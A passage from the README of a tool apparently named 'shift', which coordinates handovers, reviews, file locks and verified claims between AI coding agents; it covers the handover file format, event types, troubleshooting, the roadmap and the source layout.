    evidence: "npm test -- login.spec.ts: 4 passed"
    cmd: npm test -- login.spec.ts
  - text: POST /api/login returns a session cookie
    evidence: src/api/login.ts:12-48, commit 3f2a91c
not_done:
  - "Password reset flow: not started"
next_steps:
  - Add rate limiting to /api/login
risks:
  - Session secret is read from .env; missing in CI
verification:
  - "npm test: 31 passed, 0 failed"
files:
  - src/api/login.ts
  - src/pages/login.tsx
git:
  branch: feature/login
  head: 3f2a91c7d0...
  base: 8e01b44a92...
  dirty: false
  files:
    - src/api/login.ts
    - src/pages/login.tsx
reviews:
  - rv-20261128-181544601-02af
acked_by: codex
acked_at: 2026-11-28T18:02:10.118Z
---

# Handover ho-20261128-173012402-9c1e

**claude** → **codex** · 2026-11-28T17:30:12.402Z · status **disputed**, acked by **codex** at ...

## Done (claims)
0. Login form renders at /login
   - evidence: npm test -- login.spec.ts: 4 passed
   - check: `npm test -- login.spec.ts`
1. POST /api/login returns a session cookie
   - evidence: src/api/login.ts:12-48, commit 3f2a91c
...
```

Each line in `log.jsonl` is one event:

```json
{"ts":"2026-11-28T18:15:44.601Z","agent":"codex","type":"handover.review","ref":"ho-20261128-173012402-9c1e","summary":"disputed (1 disputed)"}
```

Event types: `handover.create`, `handover.ack`, `handover.review`, `note.<kind>`, `lock.claim`,
`lock.auto` (first auto lock on a file; renewals are not logged), `lock.release`, `compact`,
`task.add`, `task.take`, `task.update`, `task.reopen`, `worktree.add`, `worktree.remove`.

## Should I commit `.shift/`?

- **Yes**, if you want the history of handovers, reviews and decisions in git, shared across
  machines and teammates. `locks.json` and the mutex stay out through `.shift/.gitignore`.
- **No**, if the agents' notes are personal scratch. Add `.shift/` to your project's `.gitignore`.

Do not put secrets in handovers or notes. They are plain text, and committed if you commit `.shift/`.

## Troubleshooting

**The agent shows up as `unknown`.** Its MCP client does not report a name. Set `SHIFT_AGENT` in
the environment the agent runs in, or in the MCP server config (`"env": { "SHIFT_AGENT": "name" }`).

**Two Claude sessions see each other as the same agent.** Both are `claude`. Start each with its
own `SHIFT_AGENT`.

**The session start context does not appear.** The hook is silent until `.shift/` exists. Run
`shiftctl init`, or make any shift write first. Check that the plugin is enabled with `/plugin`.

**`.shift/` was created in the wrong directory.** The server looks for an existing `.shift/` upward
from where it starts, then for the git root. Set `SHIFT_ROOT`, or run `shiftctl init` in the right
directory first.

**An edit is blocked by a lock that should be gone.** Run `shiftctl status` to see the holder and
expiry. Ask the holder to release it, wait for it to expire, or set `lock_mode: ask` temporarily.
As a last resort, delete the entry from `.shift/locks.json`.

**Another agent is blocked by a file Claude edited a while ago.** That is an auto lock. It expires
`auto_claim_ttl_minutes` after Claude's last edit of the file, and is released when the Claude
session ends or Claude writes a handover. Lower the TTL, or set `auto_claim: false`.

**`shift_verify` says "NOT RUN".** The command is not in `verify_allow`, or it contains shell
metacharacters. Run it yourself, or add its prefix to `verify_allow` if you trust it. Commands with
`&&` or pipes never run automatically: wrap them in a script and allowlist the script.

**The `Stop` hook reminder is annoying in a long conversation.** Raise `remind_interval_minutes`, or
set `remind_handover: false`.

**`timed out waiting for .../.mutex`.** A process died while holding the mutex. It is broken
automatically after 10 seconds; if it persists, delete `.shift/.mutex/`.

## Roadmap

Planned or under consideration:

- **Merge assist.** `shiftctl worktree merge NAME` that refuses unless the branch's last handover is
  `verified`.
- **Cursor hooks adapter**, once its hook format is documented well enough.
- **Git trailers.** `Shift-Handover: ho-...` in commit messages, linking commits to handovers.

## Development

```bash
npm install
npm test            # vitest
npm run typecheck   # tsc --noEmit
npm run build       # bundles src/cli.ts to dist/shiftctl.mjs, version injected from package.json
```

Commit `dist/` after building: the plugin runs `dist/shiftctl.mjs` directly, without `npm install`.

To release, bump `version` in both `package.json` and `.claude-plugin/plugin.json` (the build fails
if they differ), rebuild, commit, tag. Claude Code only picks up a plugin update when the version
changes.

Source layout:

| File | Role |
|------|------|
| `src/store.ts` | Core: handovers, reviews, notes, locks, presence, compaction, event log |
| `src/mcp.ts` | MCP server and tool definitions |
| `src/hooks.ts` | `SessionStart`, `PreToolUse` (lock check, auto-claim, apply_patch parsing), `SessionEnd`, `Stop`; output for Claude Code, Gemini CLI, Codex |
| `src/summary.ts` | The status overview used by `shift_status` and the hook |
| `src/render.ts` | Frontmatter documents and markdown rendering |
| `src/verify.ts` | Claim command allowlist, execution and verdicts |
| `src/tasks.ts` | Task board: add, take, update, dependencies, ready tasks |
| `src/stats.ts` | Per-agent track record |
| `src/worktree.ts` | Git worktree add / list / remove |
| `src/dashboard.ts` | `shiftctl ui` HTML |
| `src/notify.ts` | Desktop notifications |
| `src/hooksconfig.ts` | Paste-ready hook configs for Gemini CLI and Codex |
| `src/git.ts` | Git branch, HEAD, changed files |
| `src/identity.ts` | Agent name resolution |
| `src/fsutil.ts` | Atomic writes, mutex, ids |
| `src/cli.ts` | `shiftctl` entry point |
| `docs/design.md` | Design notes |

Validate the plugin manifest with `claude plugin validate .`.

## License

MIT